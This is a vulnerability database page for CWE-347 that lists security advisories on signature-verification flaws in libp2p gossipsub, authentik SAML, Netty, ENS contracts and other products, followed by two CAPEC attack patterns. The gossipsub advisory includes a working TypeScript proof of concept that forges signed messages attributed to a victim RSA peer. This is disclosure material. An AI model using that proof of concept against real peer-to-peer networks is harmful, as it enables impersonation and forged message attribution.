CWE-347
AllowedImproper Verification of Cryptographic Signature
Abstraction: Base · Status: Draft
The product does not verify, or incorrectly verifies, the cryptographic signature for data.
1336 vulnerabilities reference this CWE, most recent first.
GHSA-C3GV-825Q-FVMP
Vulnerability from github – Published: 2026-09-17 17:29 – Updated: 2026-09-17 17:29Summary
@libp2p/gossipsub StrictSign validation does not bind a supplied message public key to the claimed from peer ID when from is an RSA-style peer ID that does not inline its public key. An attacker can set from to a victim RSA peer ID, sign the message with the attacker's own private key, include the attacker's public key in msg.key, and have the message accepted as a valid signed message from the victim.
Details
The vulnerable code is in packages/gossipsub/src/utils/buildRawMessage.ts inside validateToRawMessage.
When msg.key is present:
publicKey = publicKeyFromProtobuf(msg.key)
if (fromPeerId.publicKey !== undefined && !publicKey.equals(fromPeerId.publicKey)) {
return { valid: false, error: ValidateError.InvalidPeerId }
}
For RSA peer IDs parsed from the wire from multihash, fromPeerId.publicKey is undefined because the RSA public key is not inlined in the peer ID. This means the key-to-from comparison is skipped. The code then verifies the signature with the attacker-supplied msg.key and returns a signed message whose from is the victim RSA peer ID.
The missing invariant is:
peerIdFromPublicKey(publicKey).equals(fromPeerId)
This check must be performed whenever a public key is supplied, including keyless peer ID representations such as RSA peer IDs.
StrictSign is the default gossipsub signature policy in packages/gossipsub/src/gossipsub.ts:
this.globalSignaturePolicy = opts.globalSignaturePolicy ?? StrictSign
Version tracing:
git blamepoints the vulnerablevalidateToRawMessageblock to9a9b11fd44(fix!: remove pubsub (#3291)), which introducedpackages/gossipsub/src/utils/buildRawMessage.ts.- That commit's
packages/gossipsub/package.jsonstill reports14.1.1, but the firstgossipsub-v*release tag in this checkout that contains the vulnerable block isgossipsub-v15.0.0.
PoC
// TypeScript ESM PoC.
import { strict as assert } from 'node:assert'
import { generateKeyPair, publicKeyToProtobuf } from '@libp2p/crypto/keys'
import { StrictSign } from '@libp2p/gossipsub'
import { peerIdFromPrivateKey } from '@libp2p/peer-id'
import { concat as uint8ArrayConcat } from 'uint8arrays/concat'
import { fromString as uint8ArrayFromString } from 'uint8arrays/from-string'
import { RPC } from '../../packages/gossipsub/dist/src/message/rpc.js'
import { SignPrefix, validateToRawMessage } from '../../packages/gossipsub/dist/src/utils/buildRawMessage.js'
const label = 'gossipsub StrictSign RSA author spoof'
function seqno (n: bigint): Uint8Array {
const out = new Uint8Array(8)
new DataView(out.buffer).setBigUint64(0, n, false)
return out
}
async function main (): Promise<void> {
const attackerKey = await generateKeyPair('Ed25519')
const victimRsaKey = await generateKeyPair('RSA', 512)
const victim = peerIdFromPrivateKey(victimRsaKey)
const msg: RPC.Message = {
from: victim.toMultihash().bytes,
data: uint8ArrayFromString('forged as victim RSA peer'),
seqno: seqno(1n),
topic: 'poc-topic',
signature: undefined,
key: undefined
}
// Sign the protobuf message that claims victim in `from`, using attacker's key.
const bytes = uint8ArrayConcat([SignPrefix, RPC.Message.encode(msg)])
msg.signature = await attackerKey.sign(bytes)
msg.key = publicKeyToProtobuf(attackerKey.publicKey)
const result = await validateToRawMessage(StrictSign, msg)
if (!result.valid) {
throw new Error(`expected forged message to validate, got ${result.error}`)
}
assert.equal(result.message.type, 'signed')
assert.equal(result.message.from.equals(victim), true)
assert.equal(result.message.key.equals(attackerKey.publicKey), true)
console.log(`${label} reproduced`)
console.log(`claimed victim RSA author: ${victim}`)
console.log('signature verified with attacker-supplied key')
}
main().catch(err => {
console.error(err)
process.exitCode = 1
})
Expected output:
gossipsub StrictSign RSA author spoof reproduced
claimed victim RSA author: QmcFsT6SHgxy1LXcUbz4aNSn9Wcj6JsJSMsSjB3ud1wT4f
signature verified with attacker-supplied key
Impact
Attackers can forge gossipsub messages attributed to arbitrary victim RSA peer IDs under the default StrictSign policy. Applications that trust message.from in topic validators, authorization logic, accounting, moderation, reputation, or audit logs can be misled into treating attacker-controlled data as if it was authored by the victim.
The forged message can also be considered valid by gossipsub's validation path and forwarded to peers, spreading the incorrect origin attribution through the pubsub mesh.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@libp2p/gossipsub"
},
"ranges": [
{
"events": [
{
"introduced": "15.0.0"
},
{
"fixed": "16.0.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-86038"
],
"database_specific": {
"cwe_ids": [
"CWE-345",
"CWE-347"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-17T17:29:31Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n`@libp2p/gossipsub` `StrictSign` validation does not bind a supplied message public key to the claimed `from` peer ID when `from` is an RSA-style peer ID that does not inline its public key. An attacker can set `from` to a victim RSA peer ID, sign the message with the attacker\u0027s own private key, include the attacker\u0027s public key in `msg.key`, and have the message accepted as a valid signed message from the victim.\n\n### Details\nThe vulnerable code is in `packages/gossipsub/src/utils/buildRawMessage.ts` inside `validateToRawMessage`.\n\nWhen `msg.key` is present:\n\n```ts\npublicKey = publicKeyFromProtobuf(msg.key)\nif (fromPeerId.publicKey !== undefined \u0026\u0026 !publicKey.equals(fromPeerId.publicKey)) {\n return { valid: false, error: ValidateError.InvalidPeerId }\n}\n```\n\nFor RSA peer IDs parsed from the wire `from` multihash, `fromPeerId.publicKey` is undefined because the RSA public key is not inlined in the peer ID. This means the key-to-`from` comparison is skipped. The code then verifies the signature with the attacker-supplied `msg.key` and returns a signed message whose `from` is the victim RSA peer ID.\n\nThe missing invariant is:\n\n```ts\npeerIdFromPublicKey(publicKey).equals(fromPeerId)\n```\n\nThis check must be performed whenever a public key is supplied, including keyless peer ID representations such as RSA peer IDs.\n\n`StrictSign` is the default gossipsub signature policy in `packages/gossipsub/src/gossipsub.ts`:\n\n```ts\nthis.globalSignaturePolicy = opts.globalSignaturePolicy ?? StrictSign\n```\n\nVersion tracing:\n\n- `git blame` points the vulnerable `validateToRawMessage` block to `9a9b11fd44` (`fix!: remove pubsub (#3291)`), which introduced `packages/gossipsub/src/utils/buildRawMessage.ts`.\n- That commit\u0027s `packages/gossipsub/package.json` still reports `14.1.1`, but the first `gossipsub-v*` release tag in this checkout that contains the vulnerable block is `gossipsub-v15.0.0`.\n\n\n### PoC\n\n```ts\n// TypeScript ESM PoC.\nimport { strict as assert } from \u0027node:assert\u0027\nimport { generateKeyPair, publicKeyToProtobuf } from \u0027@libp2p/crypto/keys\u0027\nimport { StrictSign } from \u0027@libp2p/gossipsub\u0027\nimport { peerIdFromPrivateKey } from \u0027@libp2p/peer-id\u0027\nimport { concat as uint8ArrayConcat } from \u0027uint8arrays/concat\u0027\nimport { fromString as uint8ArrayFromString } from \u0027uint8arrays/from-string\u0027\nimport { RPC } from \u0027../../packages/gossipsub/dist/src/message/rpc.js\u0027\nimport { SignPrefix, validateToRawMessage } from \u0027../../packages/gossipsub/dist/src/utils/buildRawMessage.js\u0027\n\nconst label = \u0027gossipsub StrictSign RSA author spoof\u0027\n\nfunction seqno (n: bigint): Uint8Array {\n const out = new Uint8Array(8)\n new DataView(out.buffer).setBigUint64(0, n, false)\n return out\n}\n\nasync function main (): Promise\u003cvoid\u003e {\n const attackerKey = await generateKeyPair(\u0027Ed25519\u0027)\n const victimRsaKey = await generateKeyPair(\u0027RSA\u0027, 512)\n const victim = peerIdFromPrivateKey(victimRsaKey)\n\n const msg: RPC.Message = {\n from: victim.toMultihash().bytes,\n data: uint8ArrayFromString(\u0027forged as victim RSA peer\u0027),\n seqno: seqno(1n),\n topic: \u0027poc-topic\u0027,\n signature: undefined,\n key: undefined\n }\n\n // Sign the protobuf message that claims victim in `from`, using attacker\u0027s key.\n const bytes = uint8ArrayConcat([SignPrefix, RPC.Message.encode(msg)])\n msg.signature = await attackerKey.sign(bytes)\n msg.key = publicKeyToProtobuf(attackerKey.publicKey)\n\n const result = await validateToRawMessage(StrictSign, msg)\n\n if (!result.valid) {\n throw new Error(`expected forged message to validate, got ${result.error}`)\n }\n\n assert.equal(result.message.type, \u0027signed\u0027)\n assert.equal(result.message.from.equals(victim), true)\n assert.equal(result.message.key.equals(attackerKey.publicKey), true)\n\n console.log(`${label} reproduced`)\n console.log(`claimed victim RSA author: ${victim}`)\n console.log(\u0027signature verified with attacker-supplied key\u0027)\n}\n\nmain().catch(err =\u003e {\n console.error(err)\n process.exitCode = 1\n})\n```\nExpected output:\n\n```text\ngossipsub StrictSign RSA author spoof reproduced\nclaimed victim RSA author: QmcFsT6SHgxy1LXcUbz4aNSn9Wcj6JsJSMsSjB3ud1wT4f\nsignature verified with attacker-supplied key\n```\n\n### Impact\nAttackers can forge gossipsub messages attributed to arbitrary victim RSA peer IDs under the default `StrictSign` policy. Applications that trust `message.from` in topic validators, authorization logic, accounting, moderation, reputation, or audit logs can be misled into treating attacker-controlled data as if it was authored by the victim.\n\nThe forged message can also be considered valid by gossipsub\u0027s validation path and forwarded to peers, spreading the incorrect origin attribution through the pubsub mesh.",
"id": "GHSA-c3gv-825q-fvmp",
"modified": "2026-09-17T17:29:31Z",
"published": "2026-09-17T17:29:31Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/libp2p/js-libp2p/security/advisories/GHSA-c3gv-825q-fvmp"
},
{
"type": "WEB",
"url": "https://github.com/libp2p/js-libp2p/pull/3569"
},
{
"type": "WEB",
"url": "https://github.com/libp2p/js-libp2p/commit/cec2b1f349d130065e561349a0336a239528267f"
},
{
"type": "PACKAGE",
"url": "https://github.com/libp2p/js-libp2p"
},
{
"type": "WEB",
"url": "https://github.com/libp2p/js-libp2p/releases/tag/gossipsub-v16.0.5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "libp2p: Gossipsub StrictSign accepts attacker-signed messages as a victim RSA peer ID"
}
GHSA-C3M2-JQMQ-PVP3
Vulnerability from github – Published: 2026-05-29 20:25 – Updated: 2026-06-09 11:00Summary
authentik's SAML Source ACS endpoint is vulnerable to XML Signature Wrapping when validating upstream SAML responses. An attacker with any account at the upstream IdP can reuse a valid signed assertion to authenticate as another federated user.
### Patches
authentik 2026.5.1, 2026.2.4 and 2025.12.6 fix this issue.
### Impact
Affected: authentik deployments using a SAML Source for upstream SAML federation with signed assertions, or signed responses without signed assertions. Not affected: deployments that do not use SAML Source for upstream SAML federation.
The SAML Source trusts that the verified XML signature belongs to the assertion or response that authentik later consumes. A crafted SAML response can make signature verification succeed against the attacker's original signed assertion while authentik reads identity data from a different forged assertion.
An attacker first completes a legitimate login to the upstream IdP and captures the signed SAML response sent through their browser. They then submit a modified response to the ACS endpoint where the valid signature still verifies, but the consumed assertion contains a victim identifier or attacker-chosen attributes.
The attacker can authenticate as a victim who has previously used the SAML Source, or as a local user matched by forged email or username when those matching modes are enabled.
### Workarounds
Disable affected SAML Sources, or block access to their ACS endpoints.
### For more information
If there are any questions or comments about this advisory:
- Send an email to security@goauthentik.io
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "goauthentik.io"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20260528144335-a370d76d23c7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-47201"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-287",
"CWE-347"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-29T20:25:48Z",
"nvd_published_at": "2026-06-02T21:16:27Z",
"severity": "HIGH"
},
"details": "### Summary\n \n authentik\u0027s SAML Source ACS endpoint is vulnerable to XML Signature Wrapping when validating upstream SAML responses. An attacker with any account at the upstream IdP can reuse a valid signed assertion to authenticate as another federated user.\n \n ### Patches\n \n authentik 2026.5.1, 2026.2.4 and 2025.12.6 fix this issue.\n \n ### Impact\n \n Affected: authentik deployments using a SAML Source for upstream SAML federation with signed assertions, or signed responses without signed assertions. Not affected: deployments that do not use SAML Source for upstream SAML federation.\n \n The SAML Source trusts that the verified XML signature belongs to the assertion or response that authentik later consumes. A crafted SAML response can make signature verification succeed against the attacker\u0027s original signed assertion while authentik reads identity data from a different forged assertion.\n \n An attacker first completes a legitimate login to the upstream IdP and captures the signed SAML response sent through their browser. They then submit a modified response to the ACS endpoint where the valid signature still verifies, but the consumed assertion contains a victim identifier or attacker-chosen attributes.\n \n The attacker can authenticate as a victim who has previously used the SAML Source, or as a local user matched by forged email or username when those matching modes are enabled.\n \n ### Workarounds\n \n Disable affected SAML Sources, or block access to their ACS endpoints.\n \n ### For more information\n \nIf there are any questions or comments about this advisory:\n \n - Send an email to [security@goauthentik.io](mailto:security@goauthentik.io)",
"id": "GHSA-c3m2-jqmq-pvp3",
"modified": "2026-06-09T11:00:16Z",
"published": "2026-05-29T20:25:48Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/goauthentik/authentik/security/advisories/GHSA-c3m2-jqmq-pvp3"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47201"
},
{
"type": "WEB",
"url": "https://github.com/goauthentik/authentik/commit/a370d76d23c7de0fceed064ca322e33e6ebf0119"
},
{
"type": "PACKAGE",
"url": "https://github.com/goauthentik/authentik"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "authentik\u0027s XML Signature Wrapping in SAML Source ACS allows authentication as arbitrary federated user"
}
GHSA-C4QM-8PGX-8W9V
Vulnerability from github – Published: 2026-08-12 15:30 – Updated: 2026-08-12 15:30A user with access to a valid SAML response may impersonate another user under specific conditions.
{
"affected": [],
"aliases": [
"CVE-2026-68757"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-12T15:18:22Z",
"severity": "HIGH"
},
"details": "A user with access to a valid SAML response may impersonate another user under specific conditions.",
"id": "GHSA-c4qm-8pgx-8w9v",
"modified": "2026-08-12T15:30:49Z",
"published": "2026-08-12T15:30:49Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-68757"
},
{
"type": "WEB",
"url": "https://docs.jfrog.com/releases/docs/artifactory-self-managed-releases"
},
{
"type": "WEB",
"url": "https://docs.jfrog.com/releases/docs/jfrog-security-advisories"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-C53X-X7FC-9VRP
Vulnerability from github – Published: 2022-05-14 03:46 – Updated: 2025-04-20 03:50An issue was discovered in Enigmail before 1.9.9. Signature spoofing is possible because the UI does not properly distinguish between an attachment signature, and a signature that applies to the entire containing message, aka TBE-01-021. This is demonstrated by an e-mail message with an attachment that is a signed e-mail message in message/rfc822 format.
{
"affected": [],
"aliases": [
"CVE-2017-17847"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-12-27T17:08:00Z",
"severity": "HIGH"
},
"details": "An issue was discovered in Enigmail before 1.9.9. Signature spoofing is possible because the UI does not properly distinguish between an attachment signature, and a signature that applies to the entire containing message, aka TBE-01-021. This is demonstrated by an e-mail message with an attachment that is a signed e-mail message in message/rfc822 format.",
"id": "GHSA-c53x-x7fc-9vrp",
"modified": "2025-04-20T03:50:29Z",
"published": "2022-05-14T03:46:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-17847"
},
{
"type": "WEB",
"url": "https://enigmail.net/download/other/Enigmail%20Pentest%20Report%20by%20Cure53%20-%20Excerpt.pdf"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2017/12/msg00021.html"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-security-announce/2017/msg00333.html"
},
{
"type": "WEB",
"url": "https://sourceforge.net/p/enigmail/bugs/709"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2017/dsa-4070"
},
{
"type": "WEB",
"url": "https://www.mail-archive.com/enigmail-users%40enigmail.net/msg04280.html"
},
{
"type": "WEB",
"url": "https://www.mail-archive.com/enigmail-users@enigmail.net/msg04280.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-C5CV-Q9QQ-59Q9
Vulnerability from github – Published: 2026-01-20 18:31 – Updated: 2026-01-20 18:31IBM ApplinX 11.1 is vulnerable due to a privilege escalation vulnerability due to improper verification of JWT tokens. An attacker may be able to craft or modify a JSON web token in order to impersonate another user or to elevate their privileges.
{
"affected": [],
"aliases": [
"CVE-2025-36418"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-20T16:16:04Z",
"severity": "HIGH"
},
"details": "IBM ApplinX 11.1 is vulnerable due to a privilege escalation vulnerability due to improper verification of JWT tokens. An attacker may be able to craft or modify a JSON web token in order to impersonate another user or to elevate their privileges.",
"id": "GHSA-c5cv-q9qq-59q9",
"modified": "2026-01-20T18:31:57Z",
"published": "2026-01-20T18:31:57Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-36418"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7257446"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-C653-97M9-RCG9
Vulnerability from github – Published: 2026-06-15 20:45 – Updated: 2026-06-15 20:45SimpleTrustManagerFactory.engineGetTrustManagers() and related paths wrap any user-supplied plain X509TrustManager in X509TrustManagerWrapper, which extends X509ExtendedTrustManager but implements the 3-arg checkServerTrusted(chain, authType, SSLEngine) by discarding the SSLEngine and calling the 2-arg delegate. Because the object now IS an X509ExtendedTrustManager, neither SunJSSE's internal AbstractTrustManagerWrapper nor Netty's own OpenSslX509TrustManagerWrapper will re-wrap it to add endpoint-identification. Consequently, even though Netty 4.2 sets endpointIdentificationAlgorithm="HTTPS" by default, a client built with SslContextBuilder.forClient().trustManager(somePlainX509TrustManager) performs no hostname verification at all.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-handler"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Final"
},
{
"fixed": "4.2.15.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.134.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-handler"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.135.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-50010"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-15T20:45:45Z",
"nvd_published_at": "2026-06-12T16:16:31Z",
"severity": "HIGH"
},
"details": "SimpleTrustManagerFactory.engineGetTrustManagers() and related paths wrap any user-supplied plain X509TrustManager in X509TrustManagerWrapper, which extends X509ExtendedTrustManager but implements the 3-arg checkServerTrusted(chain, authType, SSLEngine) by discarding the SSLEngine and calling the 2-arg delegate. Because the object now IS an X509ExtendedTrustManager, neither SunJSSE\u0027s internal AbstractTrustManagerWrapper nor Netty\u0027s own OpenSslX509TrustManagerWrapper will re-wrap it to add endpoint-identification. Consequently, even though Netty 4.2 sets endpointIdentificationAlgorithm=\"HTTPS\" by default, a client built with `SslContextBuilder.forClient().trustManager(somePlainX509TrustManager)` performs no hostname verification at all.",
"id": "GHSA-c653-97m9-rcg9",
"modified": "2026-06-15T20:45:45Z",
"published": "2026-06-15T20:45:45Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-c653-97m9-rcg9"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-50010"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.1.135.Final"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.2.15.Final"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Netty: Wrapping plain trust manager silently disables hostname verification"
}
GHSA-C6RR-7PMC-73WC
Vulnerability from github – Published: 2026-02-25 18:26 – Updated: 2026-02-27 20:55Impact
The RSASHA256Algorithm and RSASHA1Algorithm contracts fail to validate PKCS#1 v1.5 padding structure when verifying RSA signatures. The contracts only check if the last 32 (or 20) bytes of the decrypted signature match the expected hash. This enables Bleichenbacher's 2006 signature forgery attack against DNS zones using RSA keys with low public exponents (e=3). Two ENS-supported TLDs (.cc and .name) use e=3 for their Key Signing Keys, allowing any domain under these TLDs to be fraudulently claimed on ENS without DNS ownership.
Affected contracts
| Contract | Address | Status |
|---|---|---|
| RSASHA256Algorithm | 0x9D1B5a639597f558bC37Cf81813724076c5C1e96 | Vulnerable |
| RSASHA1Algorithm | 0x6ca8624Bc207F043D140125486De0f7E624e37A1 | Vulnerable |
| DNSSECImpl | 0x0fc3152971714E5ed7723FAFa650F86A4BaF30C5 | Uses vulnerable algorithms |
| DNSRegistrar | 0xB32cB5677a7C971689228EC835800432B339bA2B | Attack entry point |
Patches
The bug was reported via Immunefi with possible solutions. The patch was merged at https://github.com/ensdomains/ens-contracts/commit/c76c5ad0dc9de1c966443bd946fafc6351f87587
Workarounds
- Deploy the patched contracts
- Point DNSSECImpl.setAlgorithm to the deployed contract
Resources
https://github.com/ensdomains/ens-contracts-bug-62248-pr-509
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@ensdomains/ens-contracts"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.6.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-22866"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-25T18:26:58Z",
"nvd_published_at": "2026-02-25T16:23:25Z",
"severity": "LOW"
},
"details": "### Impact\n\nThe `RSASHA256Algorithm` and `RSASHA1Algorithm` contracts fail to validate PKCS#1 v1.5 padding structure when verifying RSA signatures. The contracts only check if the last 32 (or 20) bytes of the decrypted signature match the expected hash. This enables Bleichenbacher\u0027s 2006 signature forgery attack against DNS zones using RSA keys with low public exponents (e=3). Two ENS-supported TLDs (.cc and .name) use e=3 for their Key Signing Keys, allowing any domain under these TLDs to be fraudulently claimed on ENS without DNS ownership.\n\nAffected contracts\n\nContract | Address | Status\n-- | -- | --\nRSASHA256Algorithm | 0x9D1B5a639597f558bC37Cf81813724076c5C1e96 | Vulnerable\nRSASHA1Algorithm | 0x6ca8624Bc207F043D140125486De0f7E624e37A1 | Vulnerable\nDNSSECImpl | 0x0fc3152971714E5ed7723FAFa650F86A4BaF30C5 | Uses vulnerable algorithms\nDNSRegistrar | 0xB32cB5677a7C971689228EC835800432B339bA2B | Attack entry point\n\n\n\n\n### Patches\n\nThe bug was reported via Immunefi with possible solutions. The patch was merged at https://github.com/ensdomains/ens-contracts/commit/c76c5ad0dc9de1c966443bd946fafc6351f87587\n\n\n### Workarounds\n\n- Deploy the patched contracts\n- Point DNSSECImpl.setAlgorithm to the deployed contract\n\n### Resources\n\nhttps://github.com/ensdomains/ens-contracts-bug-62248-pr-509",
"id": "GHSA-c6rr-7pmc-73wc",
"modified": "2026-02-27T20:55:13Z",
"published": "2026-02-25T18:26:58Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ensdomains/ens-contracts/security/advisories/GHSA-c6rr-7pmc-73wc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22866"
},
{
"type": "WEB",
"url": "https://github.com/ensdomains/ens-contracts/commit/c76c5ad0dc9de1c966443bd946fafc6351f87587"
},
{
"type": "PACKAGE",
"url": "https://github.com/ensdomains/ens-contracts"
},
{
"type": "WEB",
"url": "https://github.com/ensdomains/ens-contracts-bug-62248-pr-509"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:U",
"type": "CVSS_V4"
}
],
"summary": "ENS DNSSEC Oracle Vulnerable to RSA Signature Forgery via Missing PKCS#1 v1.5 Padding Validation"
}
GHSA-C875-6F78-QR5Q
Vulnerability from github – Published: 2022-05-24 19:10 – Updated: 2022-09-03 00:00Dell Command Update, Dell Update, and Alienware Update versions prior to 4.3 contains a Improper Certificate Verification vulnerability. A local authenticated malicious user could exploit this vulnerability by modifying local configuration files in order to execute arbitrary code on the system.
{
"affected": [],
"aliases": [
"CVE-2021-36277"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-08-09T21:15:00Z",
"severity": "HIGH"
},
"details": "Dell Command Update, Dell Update, and Alienware Update versions prior to 4.3 contains a Improper Certificate Verification vulnerability. A local authenticated malicious user could exploit this vulnerability by modifying local configuration files in order to execute arbitrary code on the system.",
"id": "GHSA-c875-6f78-qr5q",
"modified": "2022-09-03T00:00:18Z",
"published": "2022-05-24T19:10:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-36277"
},
{
"type": "WEB",
"url": "https://www.dell.com/support/kbdoc/000190110"
},
{
"type": "WEB",
"url": "https://www.dell.com/support/kbdoc/en-us/000190110"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-C89R-FXPX-X3W6
Vulnerability from github – Published: 2026-08-07 00:31 – Updated: 2026-08-07 00:31Improper verification of cryptographic signature in Microsoft 365 Admin Center allows an unauthorized attacker to elevate privileges over a network.
{
"affected": [],
"aliases": [
"CVE-2026-62873"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-07T00:16:36Z",
"severity": "CRITICAL"
},
"details": "Improper verification of cryptographic signature in Microsoft 365 Admin Center allows an unauthorized attacker to elevate privileges over a network.",
"id": "GHSA-c89r-fxpx-x3w6",
"modified": "2026-08-07T00:31:23Z",
"published": "2026-08-07T00:31:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-62873"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-62873"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-C9Q4-C3C7-WXX7
Vulnerability from github – Published: 2026-03-04 09:31 – Updated: 2026-03-05 15:30SEPPmail Secure Email Gateway before version 15.0.1 does not properly verify that a PGP signature was generated by the expected key, allowing signature spoofing.
{
"affected": [],
"aliases": [
"CVE-2026-27445"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-04T09:15:56Z",
"severity": "MODERATE"
},
"details": "SEPPmail Secure Email Gateway before version 15.0.1 does not properly verify that a PGP signature was generated by the expected key, allowing signature spoofing.",
"id": "GHSA-c9q4-c3c7-wxx7",
"modified": "2026-03-05T15:30:35Z",
"published": "2026-03-04T09:31:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27445"
},
{
"type": "WEB",
"url": "https://downloads.seppmail.com/extrelnotes/150/ERN15.0.html#seppmail-vulnerability-disclosure"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
No mitigation information available for this CWE.
CAPEC-463: Padding Oracle Crypto Attack
An adversary is able to efficiently decrypt data without knowing the decryption key if a target system leaks data on whether or not a padding error happened while decrypting the ciphertext. A target system that leaks this type of information becomes the padding oracle and an adversary is able to make use of that oracle to efficiently decrypt data without knowing the decryption key by issuing on average 128*b calls to the padding oracle (where b is the number of bytes in the ciphertext block). In addition to performing decryption, an adversary is also able to produce valid ciphertexts (i.e., perform encryption) by using the padding oracle, all without knowing the encryption key.
CAPEC-475: Signature Spoofing by Improper Validation
An adversary exploits a cryptographic weakness in the signature verification algorithm implementation to generate a valid signature without knowing the key.